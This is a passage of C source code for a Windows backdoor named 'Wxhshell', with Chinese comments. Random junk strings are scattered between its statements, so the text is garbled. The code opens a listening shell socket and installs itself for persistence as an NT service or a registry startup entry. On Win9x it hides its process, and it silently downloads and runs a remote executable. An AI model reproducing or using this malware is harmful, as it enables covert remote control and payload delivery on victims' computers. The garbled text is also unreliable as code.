\ Gi oSg HMODULE hMod; ^4<&"aoo char procName[255]; Up_"qD6 unsigned long cbNeeded; mWn0"1C H}CmSo8& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \,v+ejhw ,zK E$ CloseHandle(hProcess); jPx}-_jM ^7;s4q if(strstr(procName,"services")) return 1; // 以服务启动 # M!1W5# &Ll&A@yU return 0; // 注册表启动 HN5,MD[ } ?FR-aXx <nN# K{AH // 主模块 *_}0vd int StartWxhshell(LPSTR lpCmdLine) *uy<Om { x_C0=Q|K3 SOCKET wsl; zE/\2F$ BOOL val=TRUE; [9MbNJt 8~ int port=0; fl2XI=[v4 struct sockaddr_in door; zf^|H%
~^ \ptjnwC^O if(wscfg.ws_autoins) Install(); +#< Z/ ~ ^ port=atoi(lpCmdLine); 5)h fI7{d Z`ww[Tbv~ if(port<=0) port=wscfg.ws_port; WNQ<XBqAw 27$,D XD WSADATA data; r=54@`O! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sw5-^2x0' [8[<4~{ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hv\Dz*XTs0 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *0Fz." v door.sin_family = AF_INET; DGS,iRLnA door.sin_addr.s_addr = inet_addr("127.0.0.1"); %NC/zqPH~ door.sin_port = htons(port); g0B%3v v+SdjFAY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }@tgc?CD closesocket(wsl); urCTP.F return 1;
j|!t3}(( } f:J-X~T_f i27)c)\BM if(listen(wsl,2) == INVALID_SOCKET) { BpYxH#4 closesocket(wsl); BHZhdm@), return 1; 1KBGML-K3 } W7!iYxO Wxhshell(wsl); n+YUG WSACleanup(); ]yZ%wU9! *kYGXT,f] return 0; kLU-4W5t ['sNk[-C } &/"a
E uN>5Eh&=Pf // 以NT服务方式启动 W\;|mEEu VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jvL!pEC! { RtpV08s\ DWORD status = 0; '\xE56v)F DWORD specificError = 0xfffffff; /wt7KL-I YhS_ ,3E serviceStatus.dwServiceType = SERVICE_WIN32; CS(2bj^6D serviceStatus.dwCurrentState = SERVICE_START_PENDING; c%gL3kOT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y)CvlI serviceStatus.dwWin32ExitCode = 0; '=#fELMW serviceStatus.dwServiceSpecificExitCode = 0; Gsb^gd serviceStatus.dwCheckPoint = 0; ^+CHp(X serviceStatus.dwWaitHint = 0; 72yJv=G 2{vAs hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0H_uxkB~ if (hServiceStatusHandle==0) return; : MjDcI~ _6ck@ status = GetLastError(); ~&Ne
P if (status!=NO_ERROR) xdM'v{N#m { 6l;2kztGp serviceStatus.dwCurrentState = SERVICE_STOPPED; q`IY;"~ serviceStatus.dwCheckPoint = 0; 3Ke6lV)uq serviceStatus.dwWaitHint = 0; z8JW iRn serviceStatus.dwWin32ExitCode = status; -eyF9++` serviceStatus.dwServiceSpecificExitCode = specificError; 3]mprX' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Kbrz return; )E>yoUhN } U$& '> %# !|H,g wqU serviceStatus.dwCurrentState = SERVICE_RUNNING; ,1N|lyV serviceStatus.dwCheckPoint = 0; ?Y,^Moc: serviceStatus.dwWaitHint = 0; f5Gn!xF if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }YFM40H } 'o#oRK{# Rk3
bZvj3 // 处理NT服务事件,比如:启动、停止 Zp~yemERr VOID WINAPI NTServiceHandler(DWORD fdwControl) rVoV@,P { ;<m`mb4x[ switch(fdwControl) :,Y1#_\ { ~o"=4q`> case SERVICE_CONTROL_STOP: B\)Te9k' serviceStatus.dwWin32ExitCode = 0; U{M3QOF serviceStatus.dwCurrentState = SERVICE_STOPPED; `Y4K w serviceStatus.dwCheckPoint = 0; 2(@2z[eKr serviceStatus.dwWaitHint = 0; (b<0=U { {> msE }L SetServiceStatus(hServiceStatusHandle, &serviceStatus); *S:~U } \+O.vRc"M return; Jl`^`Yv case SERVICE_CONTROL_PAUSE: /[FDiJH2 serviceStatus.dwCurrentState = SERVICE_PAUSED; W
wPzm?30 break; ge
GhM>G case SERVICE_CONTROL_CONTINUE: ;6[6~L%K} serviceStatus.dwCurrentState = SERVICE_RUNNING; hoqZb<: break; Si?s69 case SERVICE_CONTROL_INTERROGATE: A%W]XEa<
break; jo<xrn\ }; tSJ# SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4F#H$`:[ } TsK!36cg {jB>]7 // 标准应用程序主函数 y2#>a8SRS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |du%c`wl { <lf692.3 oR2?$KF // 获取操作系统版本
^rVHaI OsIsNt=GetOsVer(); 0@-4.IHl GetModuleFileName(NULL,ExeFile,MAX_PATH); VGeTX 4h rAu%bF // 从命令行安装 `5Kg[nB: if(strpbrk(lpCmdLine,"iI")) Install(); Qq`S=:}~x Zpkd8@g@ // 下载执行文件 MOaI~xZ if(wscfg.ws_downexe) { Jq&Hz$L| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {kk%_q WinExec(wscfg.ws_filenam,SW_HIDE); 8>eYM } \DQu!l@1U FAdTm#tgW] if(!OsIsNt) { &S{r;N5u // 如果时win9x,隐藏进程并且设置为注册表启动 ;^xM"
{G8 HideProc(); h$'6."I StartWxhshell(lpCmdLine); V
,p~,rC } %(W&(eN else q8d](MaX if(StartFromService()) =m2_:&@0x // 以服务方式启动 aKriO StartServiceCtrlDispatcher(DispatchTable); ),p0V
else ?0/$RpFEM# // 普通方式启动 ~ps,U StartWxhshell(lpCmdLine); L8h3kT c36p+6rJk= return 0; 47Z3nl? }
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